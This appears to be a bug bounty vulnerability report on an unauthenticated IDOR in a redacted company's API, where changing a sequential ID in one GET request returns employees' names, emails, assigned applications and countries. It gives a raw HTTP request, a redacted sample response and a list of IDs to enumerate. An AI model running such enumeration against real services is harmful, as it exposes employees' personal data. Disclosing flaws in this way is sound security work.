Unauthenticated IDOR allows enumeration of employee information

Summary#

The endpoint GET https://api.ace.REDACTED.com/getusercountries/{id} does not require authentication and returns information belonging to arbitrary employees based on a sequential numeric identifier. An unauthenticated attacker can enumerate user IDs and retrieve employee information, including the employee's full name, corporate email address, assigned application, and country. Other endpoints on the same API correctly enforce authentication by returning 401 Unauthorized, indicating that this endpoint is unintentionally missing its authorization check.

Steps To Reproduce#

1. Send the following request:

GET /getusercountries/97 HTTP/2
Host: api.ace.REDACTED.com

Observe an HTTP 200 OK response containing employee information.

[
{
"userid":97,
"name":"REDACTED",
"given_name":"REDACTED",
"email":"REDACTED@REDACTED.com",
"applicationid":1,
"app_name":"Track",
"countryid":1,
"country_desc":"Mexico"
}
]

2. Modify only the identifier. Example:

/getusercountries/95
/getusercountries/100
/getusercountries/102